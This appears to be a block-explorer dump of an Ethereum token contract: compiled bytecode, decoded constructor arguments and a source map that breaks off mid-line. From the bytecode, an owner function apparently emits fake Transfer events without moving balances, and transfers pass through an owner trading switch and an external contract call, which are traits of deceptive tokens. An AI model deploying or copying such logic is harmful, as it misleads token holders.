060408385031215611f0057611eff611ba7565b5b6000611f0e85828601611bc8565b9250506020611f1f85828601611ed4565b9150509250929050565b60008060408385031215611f4057611f3f611ba7565b5b6000611f4e85828601611bc8565b9250506020611f5f85828601611bc8565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611fb057607f821691505b602082108103611fc357611fc2611f69565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061200382611bdd565b915061200e83611bdd565b925082820390508181111561202657612025611fc9565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061206682611bdd565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361209857612097611fc9565b5b600182019050919050565b60006120ae82611bdd565b91506120b983611bdd565b92508282019050808211156120d1576120d0611fc9565b5b92915050565b7f436f756c64204e6f742053656e64000000000000000000000000000000000000600082015250565b600061210d600e83611aa4565b9150612118826120d7565b602082019050919050565b6000602082019050818103600083015261213c81612100565b9050919050565b60006040820190506121586000830185611b7d565b6121656020830184611c89565b9392505050565b61217581611c53565b811461218057600080fd5b50565b6000815190506121928161216c565b92915050565b6000602082840312156121ae576121ad611ba7565b5b60006121bc84828501612183565b91505092915050565b7f436f756c64204e6f7420537061776e0000000000000000000000000000000000600082015250565b60006121fb600f83611aa4565b9150612206826121c5565b602082019050919050565b6000602082019050818103600083015261222a816121ee565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b600061228d602583611aa4565b915061229882612231565b604082019050919050565b600060208201905081810360008301526122bc81612280565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061231f602683611aa4565b915061232a826122c3565b604082019050919050565b6000602082019050818103600083015261234e81612312565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006123b1602483611aa4565b91506123bc82612355565b604082019050919050565b600060208201905081810360008301526123e0816123a4565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612443602283611aa4565b915061244e826123e7565b604082019050919050565b6000602082019050818103600083015261247281612436565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b60006124af601d83611aa4565b91506124ba82612479565b602082019050919050565b600060208201905081810360008301526124de816124a2565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612541602583611aa4565b915061254c826124e5565b604082019050919050565b6000602082019050818103600083015261257081612534565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006125d3602383611aa4565b91506125de82612577565b604082019050919050565b60006020820190508181036000830152612602816125c6565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612665602983611aa4565b915061267082612609565b604082019050919050565b6000602082019050818103600083015261269481612658565b9050919050565b50565b60006126ab600083611aa4565b91506126b68261269b565b600082019050919050565b600060208201905081810360008301526126da8161269e565b9050919050565b60006060820190506126f66000830186611b7d565b6127036020830185611b7d565b6127106040830184611c89565b949350505050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061274e602083611aa4565b915061275982612718565b602082019050919050565b6000602082019050818103600083015261277d81612741565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006127ba601b83611aa4565b91506127c582612784565b602082019050919050565b600060208201905081810360008301526127e9816127ad565b905091905056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365a2646970667358221220404d0a350a826f1b5f1adecca7315f11ea1e7dc4ab65a98836e925ccfed0e51164736f6c634300081300330000000000000000000000002c8c10588098a54b2df2148ec8819ff88edddf2c00000000000000000000000082ca266d6d04475152734fcf12303a138c8cce3b

0x608060405234801561001057600080fd5b50600436106101f05760003560e01c8063564a417a1161010f578063a457c2d7116100a2578063d5abeb0111610071578063d5abeb01146105b3578063dd62ed3e146105d1578063ebad8f1614610601578063f2fde38b1461060b576101f0565b8063a457c2d714610519578063a9059cbb14610549578063b7f4e89914610579578063c2b7bbb614610597576101f0565b80638d981e36116100de5780638d981e36146104a15780638da5cb5b146104bf57806395d89b41146104dd5780639c9b4cdb146104fb576101f0565b8063564a417a1461040757806370a0823114610437578063715018a6146104675780637c70f3bf14610471576101f0565b806326ededb81161018757806342a5880c1161015657806342a5880c14610391578063486d910f146103af57806349bd5a5e146103cb5780634ed9428e146103e9576101f0565b806326ededb8146103095780632d3e69ea14610325578063313ce567146103435780633950935114610361576101f0565b806318160ddd116101c357806318160ddd1461027f57806319e995501461029d57806321f83c43146102bb57806323b872dd146102d9576101f0565b806306fdde03146101f55780630754617214610213578063095ea7b31461023157806312fa6feb14610261575b600080fd5b6101fd610627565b60405161020a9190611b29565b60405180910390f35b61021b6106b9565b6040516102289190611b8c565b60405180910390f35b61024b60048036038101906102469190611c13565b6106df565b6040516102589190611c6e565b60405180910390f35b610269610702565b6040516102769190611c6e565b60405180910390f35b610287610715565b6040516102949190611c98565b60405180910390f35b6102a561071f565b6040516102b29190611c98565b60405180910390f35b6102c3610752565b6040516102d09190611c98565b60405180910390f35b6102f360048036038101906102ee9190611cb3565b610758565b6040516103009190611c6e565b60405180910390f35b610323600480360381019061031e9190611d6b565b610787565b005b61032d610864565b60405161033a9190611c6e565b60405180910390f35b61034b61087b565b6040516103589190611de7565b60405180910390f35b61037b60048036038101906103769190611c13565b610884565b6040516103889190611c6e565b60405180910390f35b6103996108bb565b6040516103a69190611c98565b60405180910390f35b6103c960048036038101906103c49190611e40565b6108df565b005b6103d3610a0c565b6040516103e09190611b8c565b60405180910390f35b6103f1610a32565b6040516103fe9190611c98565b60405180910390f35b610421600480360381019061041c9190611e80565b610a56565b60405161042e9190611c6e565b60405180910390f35b610451600480360381019061044c9190611e80565b610a76565b60405161045e9190611c98565b60405180910390f35b61046f610abf565b005b61048b60048036038101906104869190611ee9565b610ad3565b6040516104989190611c6e565b60405180910390f35b6104a9610b02565b6040516104b69190611b8c565b60405180910390f35b6104c7610b28565b6040516104d49190611b8c565b60405180910390f35b6104e5610b52565b6040516104f29190611b29565b60405180910390f35b610503610be4565b6040516105109190611b8c565b60405180910390f35b610533600480360381019061052e9190611c13565b610c08565b6040516105409190611c6e565b60405180910390f35b610563600480360381019061055e9190611c13565b610c7f565b6040516105709190611c6e565b60405180910390f35b610581610ca2565b60405161058e9190611c98565b60405180910390f35b6105b160048036038101906105ac9190611e80565b610cc6565b005b6105bb610d12565b6040516105c89190611c98565b60405180910390f35b6105eb60048036038101906105e69190611f29565b610d36565b6040516105f89190611c98565b60405180910390f35b610609610dbd565b005b61062560048036038101906106209190611e80565b610e1e565b005b60606009805461063690611f98565b80601f016020809104026020016040519081016040528092919081815260200182805461066290611f98565b80156106af5780601f10610684576101008083540402835291602001916106af565b820191906000526020600020905b81548152906001019060200180831161069257829003601f168201915b5050505050905090565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806106ea610ea1565b90506106f7818585610ea9565b600191505092915050565b600f60009054906101000a900460ff1681565b6000600754905090565b60007f000000000000000000000000000000000000000000000000000000000124c3774361074d9190611ff8565b905090565b61070881565b600080610763610ea1565b9050610770858285611072565b61077b8585856110fe565b60019150509392505050565b61078f6117cf565b60005b8383905081101561085e578383828181106107b0576107af61202c565b5b90506020020160208101906107c59190611e80565b73ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108439190611c98565b60405180910390a380806108569061205b565b915050610792565b50505050565b6000600660009054906101000a900460ff16905090565b60006009905090565b60008061088f610ea1565b90506108b08185856108a18589610d36565b6108ab91906120a3565b610ea9565b600191505092915050565b7f0000000000000000000000000000000000000000000000000000000065c55c0b81565b61090c33600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610758565b61094b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094290612123565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1663a1e463d833846040518363ffffffff1660e01b8152600401610986929190612143565b6020604051808303816000875af11580156109a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109c99190612198565b610a08576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ff90612211565b60405180910390fd5b5050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b7f000000000000000000000000000000000000000000000000000012309ce5400081565b60036020528060005260406000206000915054906101000a900460ff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610ac76117cf565b610ad1600061184d565b565b600e6020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600a8054610b6190611f98565b80601f0160208091040260200160405190810160405280929190818152602001828054610b8d90611f98565b8015610bda5780601f10610baf57610100808354040283529160200191610bda565b820191906000526020600020905b815481529060010190602001808311610bbd57829003601f168201915b5050505050905090565b7f0000000000000000000000009a763da57f99060a8d26ef0574e01c13e29212f181565b600080610c13610ea1565b90506000610c218286610d36565b905083811015610c66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5d906122a3565b60405180910390fd5b610c738286868403610ea9565b60019250505092915050565b600080610c8a610ea1565b9050610c978185856110fe565b600191505092915050565b7f000000000000000000000000000000000000000000000000000000000124c37781565b610cce6117cf565b80600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b7f000000000000000000000000000000000000000000000000000012309ce5400081565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610dc56117cf565b60011515600660009054906101000a900460ff16151503610e00576000600660006101000a81548160ff021916908315150217905550610e1c565b6001600660006101000a81548160ff0219169083151502179055505b565b610e266117cf565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610e95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8c90612335565b60405180910390fd5b610e9e8161184d565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0f906123c7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7e90612459565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110659190611c98565b60405180910390a3505050565b600061107e8484610d36565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146110f857818110156110ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e1906124c5565b60405180910390fd5b6110f78484848403610ea9565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361116d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116490612557565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036111dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d3906125e9565b60405180910390fd5b6000811161121f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112169061267b565b60405180910390fd5b60011515600660009054906101000a900460ff16151514806112735750611244610b28565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806112b05750611281610b28565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156116c557600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156113585750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561151657611368838383611913565b6113d4816040518060600160405280602681526020016127f160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119189092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061146981600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461197c90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115099190611c98565b60405180910390a36116c0565b611582816040518060600160405280602681526020016127f160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119189092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061161781600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461197c90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116b79190611c98565b60405180910390a35b61171c565b60011515600660009054906101000a900460ff1615151461171b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611712906126c1565b60405180910390fd5b5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd8484846040518463ffffffff1660e01b815260040161177b939291906126e1565b6020604051808303816000875af115801561179a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117be9190612198565b506117ca8383836119da565b505050565b6117d7610ea1565b73ffffffffffffffffffffffffffffffffffffffff166117f56119df565b73ffffffffffffffffffffffffffffffffffffffff161461184b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161184290612764565b60405180910390fd5b565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b6000838311158290611960576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119579190611b29565b60405180910390fd5b506000838561196f9190611ff8565b9050809150509392505050565b600080828461198b91906120a3565b9050838110156119d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c7906127d0565b60405180910390fd5b8091505092915050565b505050565b6000806119ea6119f3565b90508091505090565b60008073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a7257600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611a94565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b600081519050919050565b600082825260208201905092915050565b60005b83811015611ad3578082015181840152602081019050611ab8565b60008484015250505050565b6000601f19601f8301169050919050565b6000611afb82611a99565b611b058185611aa4565b9350611b15818560208601611ab5565b611b1e81611adf565b840191505092915050565b60006020820190508181036000830152611b438184611af0565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611b7682611b4b565b9050919050565b611b8681611b6b565b82525050565b6000602082019050611ba16000830184611b7d565b92915050565b600080fd5b600080fd5b611bba81611b6b565b8114611bc557600080fd5b50565b600081359050611bd781611bb1565b92915050565b6000819050919050565b611bf081611bdd565b8114611bfb57600080fd5b50565b600081359050611c0d81611be7565b92915050565b60008060408385031215611c2a57611c29611ba7565b5b6000611c3885828601611bc8565b9250506020611c4985828601611bfe565b9150509250929050565b60008115159050919050565b611c6881611c53565b82525050565b6000602082019050611c836000830184611c5f565b92915050565b611c9281611bdd565b82525050565b6000602082019050611cad6000830184611c89565b92915050565b600080600060608486031215611ccc57611ccb611ba7565b5b6000611cda86828701611bc8565b9350506020611ceb86828701611bc8565b9250506040611cfc86828701611bfe565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f840112611d2b57611d2a611d06565b5b8235905067ffffffffffffffff811115611d4857611d47611d0b565b5b602083019150836020820283011115611d6457611d63611d10565b5b9250929050565b600080600060408486031215611d8457611d83611ba7565b5b600084013567ffffffffffffffff811115611da257611da1611bac565b5b611dae86828701611d15565b93509350506020611dc186828701611bfe565b9150509250925092565b600060ff82169050919050565b611de181611dcb565b82525050565b6000602082019050611dfc6000830184611dd8565b92915050565b6000611e0d82611b6b565b9050919050565b611e1d81611e02565b8114611e2857600080fd5b50565b600081359050611e3a81611e14565b92915050565b60008060408385031215611e5757611e56611ba7565b5b6000611e6585828601611bfe565b9250506020611e7685828601611e2b565b9150509250929050565b600060208284031215611e9657611e95611ba7565b5b6000611ea484828501611bc8565b91505092915050565b600063ffffffff82169050919050565b611ec681611ead565b8114611ed157600080fd5b50565b600081359050611ee381611ebd565b92915050565b60008060408385031215611f0057611eff611ba7565b5b6000611f0e85828601611bc8565b9250506020611f1f85828601611ed4565b9150509250929050565b60008060408385031215611f4057611f3f611ba7565b5b6000611f4e85828601611bc8565b9250506020611f5f85828601611bc8565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611fb057607f821691505b602082108103611fc357611fc2611f69565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061200382611bdd565b915061200e83611bdd565b925082820390508181111561202657612025611fc9565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061206682611bdd565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361209857612097611fc9565b5b600182019050919050565b60006120ae82611bdd565b91506120b983611bdd565b92508282019050808211156120d1576120d0611fc9565b5b92915050565b7f436f756c64204e6f742053656e64000000000000000000000000000000000000600082015250565b600061210d600e83611aa4565b9150612118826120d7565b602082019050919050565b6000602082019050818103600083015261213c81612100565b9050919050565b60006040820190506121586000830185611b7d565b6121656020830184611c89565b9392505050565b61217581611c53565b811461218057600080fd5b50565b6000815190506121928161216c565b92915050565b6000602082840312156121ae576121ad611ba7565b5b60006121bc84828501612183565b91505092915050565b7f436f756c64204e6f7420537061776e0000000000000000000000000000000000600082015250565b60006121fb600f83611aa4565b9150612206826121c5565b602082019050919050565b6000602082019050818103600083015261222a816121ee565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b600061228d602583611aa4565b915061229882612231565b604082019050919050565b600060208201905081810360008301526122bc81612280565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061231f602683611aa4565b915061232a826122c3565b604082019050919050565b6000602082019050818103600083015261234e81612312565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006123b1602483611aa4565b91506123bc82612355565b604082019050919050565b600060208201905081810360008301526123e0816123a4565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612443602283611aa4565b915061244e826123e7565b604082019050919050565b6000602082019050818103600083015261247281612436565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b60006124af601d83611aa4565b91506124ba82612479565b602082019050919050565b600060208201905081810360008301526124de816124a2565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612541602583611aa4565b915061254c826124e5565b604082019050919050565b6000602082019050818103600083015261257081612534565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006125d3602383611aa4565b91506125de82612577565b604082019050919050565b60006020820190508181036000830152612602816125c6565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612665602983611aa4565b915061267082612609565b604082019050919050565b6000602082019050818103600083015261269481612658565b9050919050565b50565b60006126ab600083611aa4565b91506126b68261269b565b600082019050919050565b600060208201905081810360008301526126da8161269e565b9050919050565b60006060820190506126f66000830186611b7d565b6127036020830185611b7d565b6127106040830184611c89565b949350505050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061274e602083611aa4565b915061275982612718565b602082019050919050565b6000602082019050818103600083015261277d81612741565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006127ba601b83611aa4565b91506127c582612784565b602082019050919050565b600060208201905081810360008301526127e9816127ad565b905091905056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365a2646970667358221220404d0a350a826f1b5f1adecca7315f11ea1e7dc4ab65a98836e925ccfed0e51164736f6c63430008130033

0000000000000000000000002c8c10588098a54b2df2148ec8819ff88edddf2c00000000000000000000000082ca266d6d04475152734fcf12303a138c8cce3b

-----Decoded View---------------
Arg [0] : distributor_ (address): 0x2C8C10588098A54B2DF2148EC8819Ff88edDDf2c
Arg [1] : initialLPAddress_ (address): 0x82ca266d6D04475152734FcF12303a138c8CCE3b

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000002c8c10588098a54b2df2148ec8819ff88edddf2c
Arg [1] : 00000000000000000000000082ca266d6d04475152734fcf12303a138c8cce3b

562:2439:1:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2649:100:2;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;601:21:1;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5008:201:2;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1392:17:1;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3777:108:2;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2557:109:1;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1290:54;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5789:261:2;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2674:223:1;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2460:89;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3620:92:2;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6459:238;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;880:42:1;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2066:240;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1120:28;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;683:66;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1748:48:2;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3948:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1932:103:7;;;:::i;:::-;;1209:74:1;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;631:45;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1296:87:7;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2868:104:2;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1082:31:1;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7200:436:2;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4281:193;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;989:38:1;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2905:91;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;756:60;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4537:151:2;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2314:138:1;;;:::i;:::-;;2319:201:7;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2649:100:2;2703:13;2736:5;2729:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2649:100;:::o;601:21:1:-;;;;;;;;;;;;;:::o;5008:201:2:-;5091:4;5108:13;5124:12;:10;:12::i;:::-;5108:28;;5147:32;5156:5;5163:7;5172:6;5147:8;:32::i;:::-;5197:4;5190:11;;;5008:201;;;;:::o;1392:17:1:-;;;;;;;;;;;;;:::o;3777:108:2:-;3838:7;3865:12;;3858:19;;3777:108;:::o;2557:109:1:-;2603:7;2645:13;2630:12;:28;;;;:::i;:::-;2623:35;;2557:109;:::o;1290:54::-;1334:10;1290:54;:::o;5789:261:2:-;5886:4;5903:15;5921:12;:10;:12::i;:::-;5903:30;;5944:38;5960:4;5966:7;5975:6;5944:15;:38::i;:::-;5993:27;6003:4;6009:2;6013:6;5993:9;:27::i;:::-;6038:4;6031:11;;;5789:261;;;;;:::o;2674:223:1:-;1182:13:7;:11;:13::i;:::-;2771:9:1::1;2766:124;2790:10;;:17;;2786:1;:21;2766:124;;;2858:10;;2869:1;2858:13;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;2834:44;;2843:13;;;;;;;;;;;2834:44;;;2873:4;2834:44;;;;;;:::i;:::-;;;;;;;;2809:3;;;;;:::i;:::-;;;;2766:124;;;;2674:223:::0;;;:::o;2460:89::-;2507:4;2531:10;;;;;;;;;;;2524:17;;2460:89;:::o;3620:92:2:-;3678:5;3703:1;3696:8;;3620:92;:::o;6459:238::-;6547:4;6564:13;6580:12;:10;:12::i;:::-;6564:28;;6603:64;6612:5;6619:7;6656:10;6628:25;6638:5;6645:7;6628:9;:25::i;:::-;:38;;;;:::i;:::-;6603:8;:64::i;:::-;6685:4;6678:11;;;6459:238;;;;:::o;880:42:1:-;;;:::o;2066:240::-;2156:51;2169:10;2181:17;;;;;;;;;;;2200:6;2156:12;:51::i;:::-;2148:78;;;;;;;;;;;;:::i;:::-;;;;;;;;;2245:7;:13;;;2259:10;2271:6;2245:33;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;2237:61;;;;;;;;;;;;:::i;:::-;;;;;;;;;2066:240;;:::o;1120:28::-;;;;;;;;;;;;;:::o;683:66::-;;;:::o;1748:48:2:-;;;;;;;;;;;;;;;;;;;;;;:::o;3948:127::-;4022:7;4049:9;:18;4059:7;4049:18;;;;;;;;;;;;;;;;4042:25;;3948:127;;;:::o;1932:103:7:-;1182:13;:11;:13::i;:::-;1997:30:::1;2024:1;1997:18;:30::i;:::-;1932:103::o:0;1209:74:1:-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;631:45::-;;;;;;;;;;;;;:::o;1296:87:7:-;1342:7;1369:6;;;;;;;;;;;1362:13;;1296:87;:::o;2868:104:2:-;2924:13;2957:7;2950:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2868:104;:::o;1082:31:1:-;;;:::o;7200:436:2:-;7293:4;7310:13;7326:12;:10;:12::i;:::-;7310:28;;7349:24;7376:25;7386:5;7393:7;7376:9;:25::i;:::-;7349:52;;7440: